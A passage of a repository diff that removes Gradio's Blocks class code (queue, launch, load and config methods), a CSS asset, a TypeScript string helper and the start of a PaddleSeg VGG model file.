-            max_batch_size = self.dependencies[fn_index]["max_batch_size"]
-            batch_sizes = [len(inp) for inp in inputs]
-            batch_size = batch_sizes[0]
-            if inspect.isasyncgenfunction(block_fn.fn) or inspect.isgeneratorfunction(
-                block_fn.fn
-            ):
-                raise ValueError("Gradio does not support generators in batch mode.")
-            if not all(x == batch_size for x in batch_sizes):
-                raise ValueError(
-                    f"All inputs to a batch function must have the same length but instead have sizes: {batch_sizes}."
-                )
-            if batch_size > max_batch_size:
-                raise ValueError(
-                    f"Batch size ({batch_size}) exceeds the max_batch_size for this function ({max_batch_size})"
-                )
-
-            inputs = [
-                self.preprocess_data(fn_index, list(i), state) for i in zip(*inputs)
-            ]
-            result = await self.call_function(
-                fn_index, list(zip(*inputs)), None, request, event_id, event_data
-            )
-            preds = result["prediction"]
-            data = [
-                self.postprocess_data(fn_index, list(o), state) for o in zip(*preds)
-            ]
-            data = list(zip(*data))
-            is_generating, iterator = None, None
-        else:
-            inputs = self.preprocess_data(fn_index, inputs, state)
-            iterator = iterators.get(fn_index, None) if iterators else None
-            result = await self.call_function(
-                fn_index, inputs, iterator, request, event_id, event_data
-            )
-            data = self.postprocess_data(fn_index, result["prediction"], state)
-            is_generating, iterator = result["is_generating"], result["iterator"]
-
-        block_fn.total_runtime += result["duration"]
-        block_fn.total_runs += 1
-        return {
-            "data": data,
-            "is_generating": is_generating,
-            "iterator": iterator,
-            "duration": result["duration"],
-            "average_duration": block_fn.total_runtime / block_fn.total_runs,
-        }
-
-    async def create_limiter(self):
-        self.limiter = (
-            None
-            if self.max_threads == 40
-            else CapacityLimiter(total_tokens=self.max_threads)
-        )
-
-    def get_config(self):
-        return {"type": "column"}
-
-    def get_config_file(self):
-        config = {
-            "version": routes.VERSION,
-            "mode": self.mode,
-            "dev_mode": self.dev_mode,
-            "analytics_enabled": self.analytics_enabled,
-            "components": [],
-            "css": self.css,
-            "title": self.title or "Gradio",
-            "space_id": self.space_id,
-            "enable_queue": getattr(self, "enable_queue", False),  # launch attributes
-            "show_error": getattr(self, "show_error", False),
-            "show_api": self.show_api,
-            "is_colab": utils.colab_check(),
-            "stylesheets": self.stylesheets,
-            "theme": self.theme.name,
-        }
-
-        def get_layout(block):
-            if not isinstance(block, BlockContext):
-                return {"id": block._id}
-            children_layout = []
-            for child in block.children:
-                children_layout.append(get_layout(child))
-            return {"id": block._id, "children": children_layout}
-
-        config["layout"] = get_layout(self)
-
-        for _id, block in self.blocks.items():
-            props = block.get_config() if hasattr(block, "get_config") else {}
-            block_config = {
-                "id": _id,
-                "type": block.get_block_name(),
-                "props": utils.delete_none(props),
-            }
-            serializer = utils.get_serializer_name(block)
-            if serializer:
-                assert isinstance(block, serializing.Serializable)
-                block_config["serializer"] = serializer
-                block_config["api_info"] = block.api_info()  # type: ignore
-                block_config["example_inputs"] = block.example_inputs()  # type: ignore
-            config["components"].append(block_config)
-        config["dependencies"] = self.dependencies
-        return config
-
-    def __enter__(self):
-        if Context.block is None:
-            Context.root_block = self
-        self.parent = Context.block
-        Context.block = self
-        self.exited = False
-        return self
-
-    def __exit__(self, *args):
-        super().fill_expected_parents()
-        Context.block = self.parent
-        # Configure the load events before root_block is reset
-        self.attach_load_events()
-        if self.parent is None:
-            Context.root_block = None
-        else:
-            self.parent.children.extend(self.children)
-        self.config = self.get_config_file()
-        self.app = routes.App.create_app(self)
-        self.progress_tracking = any(block_fn.tracks_progress for block_fn in self.fns)
-        self.exited = True
-
-    @class_or_instancemethod
-    def load(
-        self_or_cls,  # noqa: N805
-        fn: Callable | None = None,
-        inputs: list[Component] | None = None,
-        outputs: list[Component] | None = None,
-        api_name: str | None | Literal[False] = None,
-        scroll_to_output: bool = False,
-        show_progress: str = "full",
-        queue=None,
-        batch: bool = False,
-        max_batch_size: int = 4,
-        preprocess: bool = True,
-        postprocess: bool = True,
-        every: float | None = None,
-        _js: str | None = None,
-        *,
-        name: str | None = None,
-        src: str | None = None,
-        api_key: str | None = None,
-        alias: str | None = None,
-        **kwargs,
-    ) -> Blocks | dict[str, Any] | None:
-        """
-        For reverse compatibility reasons, this is both a class method and an instance
-        method, the two of which, confusingly, do two completely different things.
-
-
-        Class method: loads a demo from a Hugging Face Spaces repo and creates it locally and returns a block instance. Warning: this method will be deprecated. Use the equivalent `gradio.load()` instead.
-
-
-        Instance method: adds event that runs as soon as the demo loads in the browser. Example usage below.
-        Parameters:
-            name: Class Method - the name of the model (e.g. "gpt2" or "facebook/bart-base") or space (e.g. "flax-community/spanish-gpt2"), can include the `src` as prefix (e.g. "models/facebook/bart-base")
-            src: Class Method - the source of the model: `models` or `spaces` (or leave empty if source is provided as a prefix in `name`)
-            api_key: Class Method - optional access token for loading private Hugging Face Hub models or spaces. Find your token here: https://huggingface.co/settings/tokens. Warning: only provide this if you are loading a trusted private Space as it can be read by the Space you are loading.
-            alias: Class Method - optional string used as the name of the loaded model instead of the default name (only applies if loading a Space running Gradio 2.x)
-            fn: Instance Method - the function to wrap an interface around. Often a machine learning model's prediction function. Each parameter of the function corresponds to one input component, and the function should return a single value or a tuple of values, with each element in the tuple corresponding to one output component.
-            inputs: Instance Method - List of gradio.components to use as inputs. If the function takes no inputs, this should be an empty list.
-            outputs: Instance Method - List of gradio.components to use as inputs. If the function returns no outputs, this should be an empty list.
-            api_name: Instance Method - Defines how the endpoint appears in the API docs. Can be a string, None, or False. If False, the endpoint will not be exposed in the api docs. If set to None, the endpoint will be exposed in the api docs as an unnamed endpoint, although this behavior will be changed in Gradio 4.0. If set to a string, the endpoint will be exposed in the api docs with the given name.
-            scroll_to_output: Instance Method - If True, will scroll to output component on completion
-            show_progress: Instance Method - If True, will show progress animation while pending
-            queue: Instance Method - If True, will place the request on the queue, if the queue exists
-            batch: Instance Method - If True, then the function should process a batch of inputs, meaning that it should accept a list of input values for each parameter. The lists should be of equal length (and be up to length `max_batch_size`). The function is then *required* to return a tuple of lists (even if there is only 1 output component), with each list in the tuple corresponding to one output component.
-            max_batch_size: Instance Method - Maximum number of inputs to batch together if this is called from the queue (only relevant if batch=True)
-            preprocess: Instance Method - If False, will not run preprocessing of component data before running 'fn' (e.g. leaving it as a base64 string if this method is called with the `Image` component).
-            postprocess: Instance Method - If False, will not run postprocessing of component data before returning 'fn' output to the browser.
-            every: Instance Method - Run this event 'every' number of seconds. Interpreted in seconds. Queue must be enabled.
-        Example:
-            import gradio as gr
-            import datetime
-            with gr.Blocks() as demo:
-                def get_time():
-                    return datetime.datetime.now().time()
-                dt = gr.Textbox(label="Current time")
-                demo.load(get_time, inputs=None, outputs=dt)
-            demo.launch()
-        """
-        if isinstance(self_or_cls, type):
-            warn_deprecation(
-                "gr.Blocks.load() will be deprecated. Use gr.load() instead."
-            )
-            if name is None:
-                raise ValueError(
-                    "Blocks.load() requires passing parameters as keyword arguments"
-                )
-            return external.load(
-                name=name, src=src, hf_token=api_key, alias=alias, **kwargs
-            )
-        else:
-            from gradio.events import Dependency
-
-            dep, dep_index = self_or_cls.set_event_trigger(
-                event_name="load",
-                fn=fn,
-                inputs=inputs,
-                outputs=outputs,
-                api_name=api_name,
-                preprocess=preprocess,
-                postprocess=postprocess,
-                scroll_to_output=scroll_to_output,
-                show_progress=show_progress,
-                js=_js,
-                queue=queue,
-                batch=batch,
-                max_batch_size=max_batch_size,
-                every=every,
-                no_target=True,
-            )
-            return Dependency(self_or_cls, dep, dep_index)
-
-    def clear(self):
-        """Resets the layout of the Blocks object."""
-        self.blocks = {}
-        self.fns = []
-        self.dependencies = []
-        self.children = []
-        return self
-
-    @document()
-    def queue(
-        self,
-        concurrency_count: int = 1,
-        status_update_rate: float | Literal["auto"] = "auto",
-        client_position_to_load_data: int | None = None,
-        default_enabled: bool | None = None,
-        api_open: bool = True,
-        max_size: int | None = None,
-    ):
-        """
-        You can control the rate of processed requests by creating a queue. This will allow you to set the number of requests to be processed at one time, and will let users know their position in the queue.
-        Parameters:
-            concurrency_count: Number of worker threads that will be processing requests from the queue concurrently. Increasing this number will increase the rate at which requests are processed, but will also increase the memory usage of the queue.
-            status_update_rate: If "auto", Queue will send status estimations to all clients whenever a job is finished. Otherwise Queue will send status at regular intervals set by this parameter as the number of seconds.
-            client_position_to_load_data: DEPRECATED. This parameter is deprecated and has no effect.
-            default_enabled: Deprecated and has no effect.
-            api_open: If True, the REST routes of the backend will be open, allowing requests made directly to those endpoints to skip the queue.
-            max_size: The maximum number of events the queue will store at any given moment. If the queue is full, new events will not be added and a user will receive a message saying that the queue is full. If None, the queue size will be unlimited.
-        Example: (Blocks)
-            with gr.Blocks() as demo:
-                button = gr.Button(label="Generate Image")
-                button.click(fn=image_generator, inputs=gr.Textbox(), outputs=gr.Image())
-            demo.queue(concurrency_count=3)
-            demo.launch()
-        Example: (Interface)
-            demo = gr.Interface(image_generator, gr.Textbox(), gr.Image())
-            demo.queue(concurrency_count=3)
-            demo.launch()
-        """
-        if default_enabled is not None:
-            warn_deprecation(
-                "The default_enabled parameter of queue has no effect and will be removed "
-                "in a future version of gradio."
-            )
-        self.enable_queue = True
-        self.api_open = api_open
-        if client_position_to_load_data is not None:
-            warn_deprecation(
-                "The client_position_to_load_data parameter is deprecated."
-            )
-        max_size_default = self.max_threads if utils.is_zero_gpu_space() else None
-        self._queue = queueing.Queue(
-            live_updates=status_update_rate == "auto",
-            concurrency_count=concurrency_count,
-            update_intervals=status_update_rate if status_update_rate != "auto" else 1,
-            max_size=max_size_default if max_size is None else max_size,
-            blocks_dependencies=self.dependencies,
-        )
-        self.config = self.get_config_file()
-        self.app = routes.App.create_app(self)
-        return self
-
-    def validate_queue_settings(self):
-        if not self.enable_queue and self.progress_tracking:
-            raise ValueError("Progress tracking requires queuing to be enabled.")
-
-        for fn_index, dep in enumerate(self.dependencies):
-            if not self.enable_queue and self.queue_enabled_for_fn(fn_index):
-                raise ValueError(
-                    f"The queue is enabled for event {dep['api_name'] if dep['api_name'] else fn_index} "
-                    "but the queue has not been enabled for the app. Please call .queue() "
-                    "on your app. Consult https://gradio.app/docs/#blocks-queue for information on how "
-                    "to configure the queue."
-                )
-            for i in dep["cancels"]:
-                if not self.queue_enabled_for_fn(i):
-                    raise ValueError(
-                        "Queue needs to be enabled! "
-                        "You may get this error by either 1) passing a function that uses the yield keyword "
-                        "into an interface without enabling the queue or 2) defining an event that cancels "
-                        "another event without enabling the queue. Both can be solved by calling .queue() "
-                        "before .launch()"
-                    )
-            if dep["batch"] and (
-                dep["queue"] is False
-                or (dep["queue"] is None and not self.enable_queue)
-            ):
-                raise ValueError("In order to use batching, the queue must be enabled.")
-
-    def launch(
-        self,
-        inline: bool | None = None,
-        inbrowser: bool = False,
-        share: bool | None = None,
-        debug: bool = False,
-        enable_queue: bool | None = None,
-        max_threads: int = 40,
-        auth: Callable | tuple[str, str] | list[tuple[str, str]] | None = None,
-        auth_message: str | None = None,
-        prevent_thread_lock: bool = False,
-        show_error: bool = False,
-        server_name: str | None = None,
-        server_port: int | None = None,
-        show_tips: bool = False,
-        height: int = 500,
-        width: int | str = "100%",
-        encrypt: bool | None = None,
-        favicon_path: str | None = None,
-        ssl_keyfile: str | None = None,
-        ssl_certfile: str | None = None,
-        ssl_keyfile_password: str | None = None,
-        ssl_verify: bool = True,
-        quiet: bool = False,
-        show_api: bool = True,
-        file_directories: list[str] | None = None,
-        allowed_paths: list[str] | None = None,
-        blocked_paths: list[str] | None = None,
-        root_path: str = "",
-        _frontend: bool = True,
-        app_kwargs: dict[str, Any] | None = None,
-    ) -> tuple[FastAPI, str, str]:
-        """
-        Launches a simple web server that serves the demo. Can also be used to create a
-        public link used by anyone to access the demo from their browser by setting share=True.
-
-        Parameters:
-            inline: whether to display in the interface inline in an iframe. Defaults to True in python notebooks; False otherwise.
-            inbrowser: whether to automatically launch the interface in a new tab on the default browser.
-            share: whether to create a publicly shareable link for the interface. Creates an SSH tunnel to make your UI accessible from anywhere. If not provided, it is set to False by default every time, except when running in Google Colab. When localhost is not accessible (e.g. Google Colab), setting share=False is not supported.
-            debug: if True, blocks the main thread from running. If running in Google Colab, this is needed to print the errors in the cell output.
-            auth: If provided, username and password (or list of username-password tuples) required to access interface. Can also provide function that takes username and password and returns True if valid login.
-            auth_message: If provided, HTML message provided on login page.
-            prevent_thread_lock: If True, the interface will block the main thread while the server is running.
-            show_error: If True, any errors in the interface will be displayed in an alert modal and printed in the browser console log
-            server_port: will start gradio app on this port (if available). Can be set by environment variable GRADIO_SERVER_PORT. If None, will search for an available port starting at 7860.
-            server_name: to make app accessible on local network, set this to "0.0.0.0". Can be set by environment variable GRADIO_SERVER_NAME. If None, will use "127.0.0.1".
-            show_tips: if True, will occasionally show tips about new Gradio features
-            enable_queue: DEPRECATED (use .queue() method instead.) if True, inference requests will be served through a queue instead of with parallel threads. Required for longer inference times (> 1min) to prevent timeout. The default option in HuggingFace Spaces is True. The default option elsewhere is False.
-            max_threads: the maximum number of total threads that the Gradio app can generate in parallel. The default is inherited from the starlette library (currently 40). Applies whether the queue is enabled or not. But if queuing is enabled, this parameter is increaseed to be at least the concurrency_count of the queue.
-            width: The width in pixels of the iframe element containing the interface (used if inline=True)
-            height: The height in pixels of the iframe element containing the interface (used if inline=True)
-            encrypt: DEPRECATED. Has no effect.
-            favicon_path: If a path to a file (.png, .gif, or .ico) is provided, it will be used as the favicon for the web page.
-            ssl_keyfile: If a path to a file is provided, will use this as the private key file to create a local server running on https.
-            ssl_certfile: If a path to a file is provided, will use this as the signed certificate for https. Needs to be provided if ssl_keyfile is provided.
-            ssl_keyfile_password: If a password is provided, will use this with the ssl certificate for https.
-            ssl_verify: If False, skips certificate validation which allows self-signed certificates to be used.
-            quiet: If True, suppresses most print statements.
-            show_api: If True, shows the api docs in the footer of the app. Default True. If the queue is enabled, then api_open parameter of .queue() will determine if the api docs are shown, independent of the value of show_api.
-            file_directories: This parameter has been renamed to `allowed_paths`. It will be removed in a future version.
-            allowed_paths: List of complete filepaths or parent directories that gradio is allowed to serve (in addition to the directory containing the gradio python file). Must be absolute paths. Warning: if you provide directories, any files in these directories or their subdirectories are accessible to all users of your app.
-            blocked_paths: List of complete filepaths or parent directories that gradio is not allowed to serve (i.e. users of your app are not allowed to access). Must be absolute paths. Warning: takes precedence over `allowed_paths` and all other directories exposed by Gradio by default.
-            root_path: The root path (or "mount point") of the application, if it's not served from the root ("/") of the domain. Often used when the application is behind a reverse proxy that forwards requests to the application. For example, if the application is served at "https://example.com/myapp", the `root_path` should be set to "/myapp".
-            app_kwargs: Additional keyword arguments to pass to the underlying FastAPI app as a dictionary of parameter keys and argument values. For example, `{"docs_url": "/docs"}`
-        Returns:
-            app: FastAPI app object that is running the demo
-            local_url: Locally accessible link to the demo
-            share_url: Publicly accessible link to the demo (if share=True, otherwise None)
-        Example: (Blocks)
-            import gradio as gr
-            def reverse(text):
-                return text[::-1]
-            with gr.Blocks() as demo:
-                button = gr.Button(value="Reverse")
-                button.click(reverse, gr.Textbox(), gr.Textbox())
-            demo.launch(share=True, auth=("username", "password"))
-        Example:  (Interface)
-            import gradio as gr
-            def reverse(text):
-                return text[::-1]
-            demo = gr.Interface(reverse, "text", "text")
-            demo.launch(share=True, auth=("username", "password"))
-        """
-        if not self.exited:
-            self.__exit__()
-
-        self.dev_mode = False
-        if (
-            auth
-            and not callable(auth)
-            and not isinstance(auth[0], tuple)
-            and not isinstance(auth[0], list)
-        ):
-            self.auth = [auth]
-        else:
-            self.auth = auth
-        self.auth_message = auth_message
-        self.show_tips = show_tips
-        self.show_error = show_error
-        self.height = height
-        self.width = width
-        self.favicon_path = favicon_path
-        self.ssl_verify = ssl_verify
-        self.root_path = root_path
-
-        if enable_queue is not None:
-            self.enable_queue = enable_queue
-            warn_deprecation(
-                "The `enable_queue` parameter has been deprecated. "
-                "Please use the `.queue()` method instead.",
-            )
-        if encrypt is not None:
-            warn_deprecation(
-                "The `encrypt` parameter has been deprecated and has no effect.",
-            )
-
-        if self.space_id:
-            self.enable_queue = self.enable_queue is not False
-        else:
-            self.enable_queue = self.enable_queue is True
-        if self.enable_queue and not hasattr(self, "_queue"):
-            self.queue()
-        self.show_api = self.api_open if self.enable_queue else show_api
-
-        if file_directories is not None:
-            warn_deprecation(
-                "The `file_directories` parameter has been renamed to `allowed_paths`. "
-                "Please use that instead.",
-            )
-            if allowed_paths is None:
-                allowed_paths = file_directories
-        self.allowed_paths = allowed_paths or []
-        self.blocked_paths = blocked_paths or []
-
-        if not isinstance(self.allowed_paths, list):
-            raise ValueError("`allowed_paths` must be a list of directories.")
-        if not isinstance(self.blocked_paths, list):
-            raise ValueError("`blocked_paths` must be a list of directories.")
-
-        self.validate_queue_settings()
-
-        self.config = self.get_config_file()
-        self.max_threads = max(
-            self._queue.max_thread_count if self.enable_queue else 0, max_threads
-        )
-
-        if self.is_running:
-            assert isinstance(
-                self.local_url, str
-            ), f"Invalid local_url: {self.local_url}"
-            if not (quiet):
-                print(
-                    "Rerunning server... use `close()` to stop if you need to change `launch()` parameters.\n----"
-                )
-        else:
-            if wasm_utils.IS_WASM:
-                server_name = "xxx"
-                server_port = 99999
-                local_url = ""
-                server = None
-
-                # In the Wasm environment, we only need the app object
-                # which the frontend app will directly communicate with through the Worker API,
-                # and we don't need to start a server.
-                # So we just create the app object and register it here,
-                # and avoid using `networking.start_server` that would start a server that don't work in the Wasm env.
-                from gradio.routes import App
-
-                app = App.create_app(self, app_kwargs=app_kwargs)
-                wasm_utils.register_app(app)
-            else:
-                (
-                    server_name,
-                    server_port,
-                    local_url,
-                    app,
-                    server,
-                ) = networking.start_server(
-                    self,
-                    server_name,
-                    server_port,
-                    ssl_keyfile,
-                    ssl_certfile,
-                    ssl_keyfile_password,
-                    app_kwargs=app_kwargs,
-                )
-            self.server_name = server_name
-            self.local_url = local_url
-            self.server_port = server_port
-            self.server_app = app
-            self.server = server
-            self.is_running = True
-            self.is_colab = utils.colab_check()
-            self.is_kaggle = utils.kaggle_check()
-
-            self.protocol = (
-                "https"
-                if self.local_url.startswith("https") or self.is_colab
-                else "http"
-            )
-            if not self.is_colab:
-                print(
-                    strings.en["RUNNING_LOCALLY_SEPARATED"].format(
-                        self.protocol, self.server_name, self.server_port
-                    )
-                )
-
-            if self.enable_queue:
-                self._queue.set_url(self.local_url)
-
-            # Cannot run async functions in background other than app's scope.
-            # Workaround by triggering the app endpoint
-            if not wasm_utils.IS_WASM:
-                requests.get(f"{self.local_url}startup-events", verify=ssl_verify)
-
-        if wasm_utils.IS_WASM:
-            return TupleNoPrint((self.server_app, self.local_url, self.share_url))
-
-        utils.launch_counter()
-        self.is_sagemaker = utils.sagemaker_check()
-        if share is None:
-            if self.is_colab and self.enable_queue:
-                if not quiet:
-                    print(
-                        "Setting queue=True in a Colab notebook requires sharing enabled. Setting `share=True` (you can turn this off by setting `share=False` in `launch()` explicitly).\n"
-                    )
-                self.share = True
-            elif self.is_kaggle:
-                if not quiet:
-                    print(
-                        "Kaggle notebooks require sharing enabled. Setting `share=True` (you can turn this off by setting `share=False` in `launch()` explicitly).\n"
-                    )
-                self.share = True
-            elif self.is_sagemaker:
-                if not quiet:
-                    print(
-                        "Sagemaker notebooks may require sharing enabled. Setting `share=True` (you can turn this off by setting `share=False` in `launch()` explicitly).\n"
-                    )
-                self.share = True
-            else:
-                self.share = False
-        else:
-            self.share = share
-
-        # If running in a colab or not able to access localhost,
-        # a shareable link must be created.
-        if _frontend and (not networking.url_ok(self.local_url)) and (not self.share):
-            raise ValueError(
-                "When localhost is not accessible, a shareable link must be created. Please set share=True or check your proxy settings to allow access to localhost."
-            )
-
-        if self.is_colab:
-            if not quiet:
-                if debug:
-                    print(strings.en["COLAB_DEBUG_TRUE"])
-                else:
-                    print(strings.en["COLAB_DEBUG_FALSE"])
-                if not self.share:
-                    print(strings.en["COLAB_WARNING"].format(self.server_port))
-            if self.enable_queue and not self.share:
-                raise ValueError(
-                    "When using queueing in Colab, a shareable link must be created. Please set share=True."
-                )
-
-        if self.share:
-            if self.space_id:
-                raise RuntimeError("Share is not supported when you are in Spaces")
-            try:
-                if self.share_url is None:
-                    self.share_url = networking.setup_tunnel(
-                        self.server_name, self.server_port, self.share_token
-                    )
-                print(strings.en["SHARE_LINK_DISPLAY"].format(self.share_url))
-                if not (quiet):
-                    print(strings.en["SHARE_LINK_MESSAGE"])
-            except (RuntimeError, requests.exceptions.ConnectionError):
-                if self.analytics_enabled:
-                    analytics.error_analytics("Not able to set up tunnel")
-                self.share_url = None
-                self.share = False
-                if Path(BINARY_PATH).exists():
-                    print(strings.en["COULD_NOT_GET_SHARE_LINK"])
-                else:
-                    print(
-                        strings.en["COULD_NOT_GET_SHARE_LINK_MISSING_FILE"].format(
-                            BINARY_PATH,
-                            BINARY_URL,
-                            BINARY_FILENAME,
-                            BINARY_FOLDER,
-                        )
-                    )
-        else:
-            if not (quiet):
-                print(strings.en["PUBLIC_SHARE_TRUE"])
-            self.share_url = None
-
-        if inbrowser:
-            link = self.share_url if self.share and self.share_url else self.local_url
-            webbrowser.open(link)
-
-        # Check if running in a Python notebook in which case, display inline
-        if inline is None:
-            inline = utils.ipython_check()
-        if inline:
-            try:
-                from IPython.display import HTML, Javascript, display  # type: ignore
-
-                if self.share and self.share_url:
-                    while not networking.url_ok(self.share_url):
-                        time.sleep(0.25)
-                    display(
-                        HTML(
-                            f'<div><iframe src="{self.share_url}" width="{self.width}" height="{self.height}" allow="autoplay; camera; microphone; clipboard-read; clipboard-write;" frameborder="0" allowfullscreen></iframe></div>'
-                        )
-                    )
-                elif self.is_colab:
-                    # modified from /usr/local/lib/python3.7/dist-packages/google/colab/output/_util.py within Colab environment
-                    code = """(async (port, path, width, height, cache, element) => {
-                        if (!google.colab.kernel.accessAllowed && !cache) {
-                            return;
-                        }
-                        element.appendChild(document.createTextNode(''));
-                        const url = await google.colab.kernel.proxyPort(port, {cache});
-
-                        const external_link = document.createElement('div');
-                        external_link.innerHTML = `
-                            <div style="font-family: monospace; margin-bottom: 0.5rem">
-                                Running on <a href=${new URL(path, url).toString()} target="_blank">
-                                    https://localhost:${port}${path}
-                                </a>
-                            </div>
-                        `;
-                        element.appendChild(external_link);
-
-                        const iframe = document.createElement('iframe');
-                        iframe.src = new URL(path, url).toString();
-                        iframe.height = height;
-                        iframe.allow = "autoplay; camera; microphone; clipboard-read; clipboard-write;"
-                        iframe.width = width;
-                        iframe.style.border = 0;
-                        element.appendChild(iframe);
-                    })""" + "({port}, {path}, {width}, {height}, {cache}, window.element)".format(
-                        port=json.dumps(self.server_port),
-                        path=json.dumps("/"),
-                        width=json.dumps(self.width),
-                        height=json.dumps(self.height),
-                        cache=json.dumps(False),
-                    )
-
-                    display(Javascript(code))
-                else:
-                    display(
-                        HTML(
-                            f'<div><iframe src="{self.local_url}" width="{self.width}" height="{self.height}" allow="autoplay; camera; microphone; clipboard-read; clipboard-write;" frameborder="0" allowfullscreen></iframe></div>'
-                        )
-                    )
-            except ImportError:
-                pass
-
-        if getattr(self, "analytics_enabled", False):
-            data = {
-                "launch_method": "browser" if inbrowser else "inline",
-                "is_google_colab": self.is_colab,
-                "is_sharing_on": self.share,
-                "share_url": self.share_url,
-                "enable_queue": self.enable_queue,
-                "show_tips": self.show_tips,
-                "server_name": server_name,
-                "server_port": server_port,
-                "is_space": self.space_id is not None,
-                "mode": self.mode,
-            }
-            analytics.launched_analytics(self, data)
-
-        utils.show_tip(self)
-
-        # Block main thread if debug==True
-        if debug or int(os.getenv("GRADIO_DEBUG", 0)) == 1:
-            self.block_thread()
-        # Block main thread if running in a script to stop script from exiting
-        is_in_interactive_mode = bool(getattr(sys, "ps1", sys.flags.interactive))
-
-        if not prevent_thread_lock and not is_in_interactive_mode:
-            self.block_thread()
-
-        return TupleNoPrint((self.server_app, self.local_url, self.share_url))
-
-    def integrate(
-        self,
-        comet_ml=None,
-        wandb: ModuleType | None = None,
-        mlflow: ModuleType | None = None,
-    ) -> None:
-        """
-        A catch-all method for integrating with other libraries. This method should be run after launch()
-        Parameters:
-            comet_ml: If a comet_ml Experiment object is provided, will integrate with the experiment and appear on Comet dashboard
-            wandb: If the wandb module is provided, will integrate with it and appear on WandB dashboard
-            mlflow: If the mlflow module  is provided, will integrate with the experiment and appear on ML Flow dashboard
-        """
-        analytics_integration = ""
-        if comet_ml is not None:
-            analytics_integration = "CometML"
-            comet_ml.log_other("Created from", "Gradio")
-            if self.share_url is not None:
-                comet_ml.log_text(f"gradio: {self.share_url}")
-                comet_ml.end()
-            elif self.local_url:
-                comet_ml.log_text(f"gradio: {self.local_url}")
-                comet_ml.end()
-            else:
-                raise ValueError("Please run `launch()` first.")
-        if wandb is not None:
-            analytics_integration = "WandB"
-            if self.share_url is not None:
-                wandb.log(
-                    {
-                        "Gradio panel": wandb.Html(
-                            '<iframe src="'
-                            + self.share_url
-                            + '" width="'
-                            + str(self.width)
-                            + '" height="'
-                            + str(self.height)
-                            + '" frameBorder="0"></iframe>'
-                        )
-                    }
-                )
-            else:
-                print(
-                    "The WandB integration requires you to "
-                    "`launch(share=True)` first."
-                )
-        if mlflow is not None:
-            analytics_integration = "MLFlow"
-            if self.share_url is not None:
-                mlflow.log_param("Gradio Interface Share Link", self.share_url)
-            else:
-                mlflow.log_param("Gradio Interface Local Link", self.local_url)
-        if self.analytics_enabled and analytics_integration:
-            data = {"integration": analytics_integration}
-            analytics.integration_analytics(data)
-
-    def close(self, verbose: bool = True) -> None:
-        """
-        Closes the Interface that was launched and frees the port.
-        """
-        try:
-            if self.enable_queue:
-                self._queue.close()
-            if self.server:
-                self.server.close()
-            self.is_running = False
-            # So that the startup events (starting the queue)
-            # happen the next time the app is launched
-            self.app.startup_events_triggered = False
-            if verbose:
-                print(f"Closing server running on port: {self.server_port}")
-        except (AttributeError, OSError):  # can't close if not running
-            pass
-
-    def block_thread(
-        self,
-    ) -> None:
-        """Block main thread until interrupted by user."""
-        try:
-            while True:
-                time.sleep(0.1)
-        except (KeyboardInterrupt, OSError):
-            print("Keyboard interruption in main thread... closing server.")
-            if self.server:
-                self.server.close()
-            for tunnel in CURRENT_TUNNELS:
-                tunnel.kill()
-
-    def attach_load_events(self):
-        """Add a load event for every component whose initial value should be randomized."""
-        if Context.root_block:
-            for component in Context.root_block.blocks.values():
-                if (
-                    isinstance(component, components.IOComponent)
-                    and component.load_event_to_attach
-                ):
-                    load_fn, every = component.load_event_to_attach
-                    # Use set_event_trigger to avoid ambiguity between load class/instance method
-                    dep = self.set_event_trigger(
-                        "load",
-                        load_fn,
-                        None,
-                        component,
-                        no_target=True,
-                        # If every is None, for sure skip the queue
-                        # else, let the enable_queue parameter take precedence
-                        # this will raise a nice error message is every is used
-                        # without queue
-                        queue=False if every is None else None,
-                        every=every,
-                    )[0]
-                    component.load_event = dep
-
-    def startup_events(self):
-        """Events that should be run when the app containing this block starts up."""
-
-        if self.enable_queue:
-            utils.run_coro_in_background(self._queue.start, self.ssl_verify)
-            # So that processing can resume in case the queue was stopped
-            self._queue.stopped = False
-        utils.run_coro_in_background(self.create_limiter)
-
-    def queue_enabled_for_fn(self, fn_index: int):
-        if self.dependencies[fn_index]["queue"] is None:
-            return self.enable_queue
-        return self.dependencies[fn_index]["queue"]

spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/templates/frontend/assets/index-8f1feca1.css

@@ -1 +0,0 @@
-span.svelte-s1r2yt{font-weight:var(--section-header-text-weight);font-size:var(--section-header-text-size)}.label-wrap.svelte-s1r2yt{display:flex;justify-content:space-between;cursor:pointer;width:var(--size-full)}.label-wrap.open.svelte-s1r2yt{margin-bottom:var(--size-2)}.icon.svelte-s1r2yt{transition:.15s}

spaces/DaFujaTyping/hf-Chat-ui/src/lib/utils/trimPrefix.ts

@@ -1,6 +0,0 @@
-export function trimPrefix(input: string, prefix: string) {
-	if (input.startsWith(prefix)) {
-		return input.slice(prefix.length);
-	}
-	return input;
-}

spaces/DeepDrivePL/PaddleSeg-Matting/matting/model/vgg.py

@@ -1,166 +0,0 @@
-# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#    http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import paddle
-from paddle import ParamAttr
-import paddle.nn as nn
-import paddle.nn.functional as F
-from paddle.nn import Conv2D, BatchNorm, Linear, Dropout
-from paddle.nn import AdaptiveAvgPool2D, MaxPool2D, AvgPool2D
-
-from paddleseg.cvlibs import manager
-from paddleseg.utils import utils
-
-
-class ConvBlock(nn.Layer):
-    def __init__(self, input_channels, output_channels, groups, name=None):
-        super(ConvBlock, self).__init__()
-
-        self.groups = groups
-        self._conv_1 = Conv2D(
-            in_channels=input_channels,
-            out_channels=output_channels,
-            kernel_size=3,
-            stride=1,
-            padding=1,
-            weight_attr=ParamAttr(name=name + "1_weights"),
-            bias_attr=False)
-        if groups == 2 or groups == 3 or groups == 4:
-            self._conv_2 = Conv2D(
-                in_channels=output_channels,
-                out_channels=output_channels,
-                kernel_size=3,
-                stride=1,
-                padding=1,
-                weight_attr=ParamAttr(name=name + "2_weights"),
-                bias_attr=False)
-        if groups == 3 or groups == 4:
-            self._conv_3 = Conv2D(
-                in_channels=output_channels,
-                out_channels=output_channels,
-                kernel_size=3,
-                stride=1,
-                padding=1,
-                weight_attr=ParamAttr(name=name + "3_weights"),
-                bias_attr=False)
-        if groups == 4:
-            self._conv_4 = Conv2D(
-                in_channels=output_channels,
